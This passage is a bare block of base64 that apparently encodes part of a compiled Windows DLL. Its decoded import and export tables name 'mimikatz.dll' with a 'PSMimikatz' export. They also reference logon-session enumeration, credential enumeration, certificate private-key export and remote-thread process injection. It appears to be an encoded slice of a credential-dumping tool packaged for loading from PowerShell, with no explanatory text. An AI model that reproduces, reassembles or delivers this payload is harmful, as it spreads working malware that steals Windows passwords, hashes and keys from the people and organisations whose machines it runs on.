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bgCXAUxvb2t1cFByaXZpbGVnZVZhbHVlVwAfAEFkanVzdFRva2VuUHJpdmlsZWdlcwB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAL8CU2V0U2VydmljZU9iamVjdFNlY3VyaXR5AABDAEJ1aWxkU2VjdXJpdHlEZXNjcmlwdG9yVwAAJwJRdWVyeVNlcnZpY2VPYmplY3RTZWN1cml0eQAAkQFMb29rdXBBY2NvdW50U2lkVwDfAER1cGxpY2F0ZVRva2VuRXgAAK0CU2V0S2VybmVsT2JqZWN0U2VjdXJpdHkAIABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAACABRnJlZVNpZABsAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAFcAQ2xvc2VTZXJ2aWNlSGFuZGxlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAAABAUVudW1TZXJ2aWNlc1N0YXR1c0V4VwCAAUlzVGV4dFVuaWNvZGUAxQBDcnlwdEdldEtleVBhcmFtAADHAENyeXB0R2V0VXNlcktleQCMAENyZWRGcmVlAACJAENyZWRFbnVtZXJhdGVXAAAtAlJlYWRFbmNyeXB0ZWRGaWxlUmF3AABVAENsb3NlRW5jcnlwdGVkRmlsZVJhdwAfAlF1ZXJ5UmVjb3ZlcnlBZ2VudHNPbkVuY3J5cHRlZEZpbGUAAB4BRnJlZUVuY3J5cHRpb25DZXJ0aWZpY2F0ZUhhc2hMaXN0ACwCUXVlcnlVc2Vyc09uRW5jcnlwdGVkRmlsZQD0AU9wZW5FbmNyeXB0ZWRGaWxlUmF3VwBzAUltcGVyc29uYXRlTG9nZ2VkT25Vc2VyAG4CUmVnUXVlcnlWYWx1ZUV4VwAAYQJSZWdPcGVuS2V5RXhXADACUmVnQ2xvc2VLZXkAaAJSZWdRdWVyeUluZm9LZXlXAABPAlJlZ0VudW1LZXlFeFcAkAJSZXZlcnRUb1NlbGYAAIEAQ3JlYXRlU2VydmljZVcAAEFEVkFQSTMyLmRsbAAAPQJQb3N0VGhyZWFkTWVzc2FnZVcAAKgBR2V0V2luZG93VGhyZWFkUHJvY2Vzc0lkAADyAEVudW1XaW5kb3dzAC4DV2FpdEZvcklucHV0SWRsZQAAGQNVcGRhdGVXaW5kb3cAAMIBSW52YWxpZGF0ZVJlY3QAAFVTRVIzMi5kbGwAAB4AR2V0VXNlck5hbWVFeFcAACoATHNhRnJlZVJldHVybkJ1ZmZlcgArAExzYUdldExvZ29uU2Vzc2lvbkRhdGEAACkATHNhRW51bWVyYXRlTG9nb25TZXNzaW9ucwBTZWN1cjMyLmRsbABLAENlcnRHZXROYW1lU3RyaW5nVwAAVwBDZXJ0T3BlblN0b3JlAEAAQ2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQAAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAABIAQ2VydENsb3NlU3RvcmUAAEYAQ2VydEdldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AC8AQ2VydEVudW1TeXN0ZW1TdG9yZQAQAVBGWEV4cG9ydENlcnRTdG9yZUV4AAB5AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQAsAENlcnRFbnVtQ2VydGlmaWNhdGVzSW5TdG9yZQBDUllQVDMyLmRsbABlAFBhdGhJc1JlbGF0aXZlVwA4AFBhdGhDYW5vbmljYWxpemVXADoAUGF0aENvbWJpbmVXAABTSExXQVBJLmRsbAAbAFdUU09wZW5TZXJ2ZXJXAAALAFdUU0VudW1lcmF0ZVByb2Nlc3Nlc1cAABIAV1RTRnJlZU1lbW9yeQAAAFdUU0Nsb3NlU2VydmVyAAARAFdUU0VudW1lcmF0ZVNlc3Npb25zVwBXVFNBUEkzMi5kbGwAAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbAA0BVdyaXRlRmlsZQCPAENyZWF0ZUZpbGVXAF0BRmx1c2hGaWxlQnVmZmVycwAACAJHZXRMYXN0RXJyb3IAAFIAQ2xvc2VIYW5kbGUAaAFGcmVlTGlicmFyeQBBA0xvYWRMaWJyYXJ5VwAAgARTZXRMYXN0RXJyb3IAAEwCR2V0UHJvY0FkZHJlc3MAAB4CR2V0TW9kdWxlSGFuZGxlVwAACAVXYWl0Rm9yU2luZ2xlT2JqZWN0AKkAQ3JlYXRlUmVtb3RlVGhyZWFkAACCA09wZW5Qcm9jZXNzAPwEVmlydHVhbEZyZWVFeAD5BFZpcnR1YWxBbGxvY0V4AADGAUdldEN1cnJlbnRQcm9jZXNzAMYDUmVhZFByb2Nlc3NNZW1vcnkA/wRWaXJ0dWFsUHJvdGVjdEV4AAD+BFZpcnR1YWxQcm90ZWN0AAA9BVdyaXRlUHJvY2Vzc01lbW9yeQAAKwJHZXROYXRpdmVTeXN0ZW1JbmZvAGUAQ29ubmVjdE5hbWVkUGlwZQAAoABDcmVhdGVOYW1lZFBpcGVXAADDA1JlYWRGaWxlAADlAERpc2Nvbm5lY3ROYW1lZFBpcGUAqABDcmVhdGVQcm9jZXNzVwAA+QJJc0JhZFJlYWRQdHIAAM4EVGVybWluYXRlUHJvY2VzcwAAmANQcm9jZXNzMzJGaXJzdFcAXQNNb2R1bGUzMkZpcnN0VwAAmgNQcm9jZXNzMzJOZXh0VwAAvQBDcmVhdGVUb29saGVscDMyU25hcHNob3QAAF8DTW9kdWxlMzJOZXh0VwBKA0xvY2FsRnJlZQBkAUZvcm1hdE1lc3NhZ2VXAACsAkdldFZlcnNpb25FeFcAxQFHZXRDdXJyZW50RGlyZWN0b3J5VwAAlAFHZXRDb21wdXRlck5hbWVFeFcAANEEVGhyZWFkMzJGaXJzdADPBFRlcm1pbmF0ZVRocmVhZADSBFRocmVhZDMyTmV4dAAAhwNPcGVuVGhyZWFkAADIBFN1c3BlbmRUaHJlYWQAFgRSZXN1bWVUaHJlYWQAAFYEU2V0Q29uc29sZVRpdGxlVwAAlgBDcmVhdGVKb2JPYmplY3RXAAAWAEFzc2lnblByb2Nlc3NUb0pvYk9iamVjdAAAUwJHZXRQcm9jZXNzSWQAAOwARHVwbGljYXRlSGFuZGxlAM0EVGVybWluYXRlSm9iT2JqZWN0AAABBVZpcnR1YWxRdWVyeUV4AADABFNsZWVwAD8EU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAABrAkdldFN0ZEhhbmRsZQAALgFGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcAuAFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAIAVXaWRlQ2hhclRvTXVsdGlCeXRlAGkDTXVsdGlCeXRlVG9XaWRlQ2hhcgBwAkdldFN0cmluZ1R5cGVXAADuAEVuY29kZVBvaW50ZXIAywBEZWNvZGVQb2ludGVyAOoCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgDSAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDyAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA7A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADXAkhlYXBGcmVlAADTAkhlYXBBbGxvYwDaAkhlYXBSZUFsbG9jAMsBR2V0Q3VycmVudFRocmVhZElkAABbAUZsc1NldFZhbHVlAIwBR2V0Q29tbWFuZExpbmVBAHgBR2V0Q1BJbmZvALQDUmFpc2VFeGNlcHRpb24AACEEUnRsUGNUb0ZpbGVIZWFkZXIAHwRSdGxMb29rdXBGdW5jdGlvbkVudHJ5AAAlBFJ0bFVud2luZEV4AC8DTENNYXBTdHJpbmdXAADiBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAswRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAgNJc0RlYnVnZ2VyUHJlc2VudAAmBFJ0bFZpcnR1YWxVbndpbmQAABgEUnRsQ2FwdHVyZUNvbnRleHQA2wJIZWFwU2V0SW5mb3JtYXRpb24AAKoCR2V0VmVyc2lvbgAA1QJIZWFwQ3JlYXRlAADWAkhlYXBEZXN0cm95AFoBRmxzR2V0VmFsdWUAWQFGbHNGcmVlAFgBRmxzQWxsb2MAAOsCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAAfAUV4aXRQcm9jZXNzABoCR2V0TW9kdWxlRmlsZU5hbWVXAAB8BFNldEhhbmRsZUNvdW50AAD6AUdldEZpbGVUeXBlAGoCR2V0U3RhcnR1cEluZm9XAHQEU2V0RmlsZVBvaW50ZXIAAG4BR2V0QUNQAAA+AkdldE9FTUNQAAAMA0lzVmFsaWRDb2RlUGFnZQCUBFNldFN0ZEhhbmRsZQAAowJHZXRVc2VyRGVmYXVsdExDSUQAAAwCR2V0TG9jYWxlSW5mb1cAAAoCR2V0TG9jYWxlSW5mb0EAABIBRW51bVN5c3RlbUxvY2FsZXNBAAAOA0lzVmFsaWRMb2NhbGUAoAFHZXRDb25zb2xlQ1AAALIBR2V0Q29uc29sZU1vZGUAANwCSGVhcFNpemUAABkCR2V0TW9kdWxlRmlsZU5hbWVBAABnAUZyZWVFbnZp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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQlBYABAAAAAAAAAAAAAAABAAAAFgAAAAIAAAACAAAAAwAAAAIAAAAEAAAAGAAAAAUAAAANAAAABgAAAAkAAAAHAAAADAAAAAgAAAAMAAAACQAAAAwAAAAKAAAABwAAAAsAAAAIAAAADAAAABYAAAANAAAAFgAAAA8AAAACAAAAEAAAAA0AAAARAAAAEgAAABIAAAACAAAAIQAAAA0AAAA1AAAAAgAAAEEAAAANAAAAQwAAAAIAAABQAAAAEQAAAFIAAAANAAAAUwAAAA0AAABXAAAAFgAAAFkAAAALAAAAbAAAAA0AAABtAAAAIAAAAHAAAAAcAAAAcgAAAAkAAAAGAAAAFgAAAIAAAAAKAAAAgQAAAAoAAACCAAAACQAAAIMAAAAWAAAAhAAAAA0AAACRAAAAKQAAAJ4AAAANAAAAoQAAAAIAAACkAAAACwAAAKcAAAANAAAAtwAAABEAAADOAAAAAgAAANcAAAALAAAAGAcAAAwAAAAMAAAACAAAAAgfBYABAAAAAAAAAAAAAAAuP0FWYmFkX2V4Y2VwdGlvbkBzdGRAQAAyot8tmSsAAM1dINJm1P//ACMFgAEAAAACJQWAAQAAAHWYAABzmAAAAgAAAAAAAAAoKgWAAQAAAGBXBYABAAAA/v///0MAAAA4LgWAAQAAADQuBYABAAAAMC4FgAEAAAAsLgWAAQAAACguBYABAAAAJC4FgAEAAAAgLgWAAQAAABguBYABAAAAEC4FgAEAAAAILgWAAQAAAPgtBYABAAAA6C0FgAEAAADcLQWAAQAAANAtBYABAAAAzC0FgAEAAADILQWAAQAAAMQtBYABAAAAwC0FgAEAAAC8LQWAAQAAALgtBYABAAAAtC0FgAEAAACwLQWAAQAAAKwtBYABAAAAqC0FgAEAAACkLQWAAQAAAKAtBYABAAAAmC0FgAEAAACILQWAAQAAAHwtBYABAAAAdC0FgAEAAAC8LQWAAQAAAGwtBYABAAAAZC0FgAEAAABcLQWAAQAAAFAtBYABAAAASC0FgAEAAAA4LQWAAQAAACgtBYABAAAAIC0FgAEAAAAcLQWAAQAAABAtBYABAAAA+CwFgAEAAADoLAWAAQAAAAkEAAABAAAAAAAAAAAAAADgLAWAAQAAANgsBYABAAAA0CwFgAEAAADILAWAAQAAAMAsBYABAAAAuCwFgAEAAACwLAWAAQAAAKAsBYABAAAAkCwFgAEAAACALAWAAQAAAGgsBYABAAAAUCwFgAEAAABALAWAAQAAACgsBYABAAAAICwFgAEAAAAYLAWAAQAAABAsBYABAAAACCwFgAEAAAAALAWAAQAAAPgrBYABAAAA8CsFgAEAAADoKwWAAQAAAOArBYABAAAA2CsFgAEAAADQKwWAAQAAAMgrBYABAAAAuCsFgAEAAACgKwWAAQAAAJArBYABAAAAgCsFgAEAAAAALAWAAQAAAHArBYABAAAAYCsFgAEAAABQKwWAAQAAADgrBYABAAAAKCsFgAEAAAAQKwWAAQAAAPgqBYABAAAA7CoFgAEAAADkKgWAAQAAANAqBYABAAAAqCoFgAEAAACQKgWAAQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPJoGgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8mgaAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADyaBoABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPJoGgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8mgaAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0JMGgAEAAAAAAAAAAAAAAAAAAAAAAAAAACMFgAEAAACQJwWAAQAAABApBYABAAAAQJoGgAEAAAAAnQaAAQAAAACdBoABAAAA4J8GgAEAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgICAgICAgMDAwMDAwMDAAAAAAAAAAD//////////4AKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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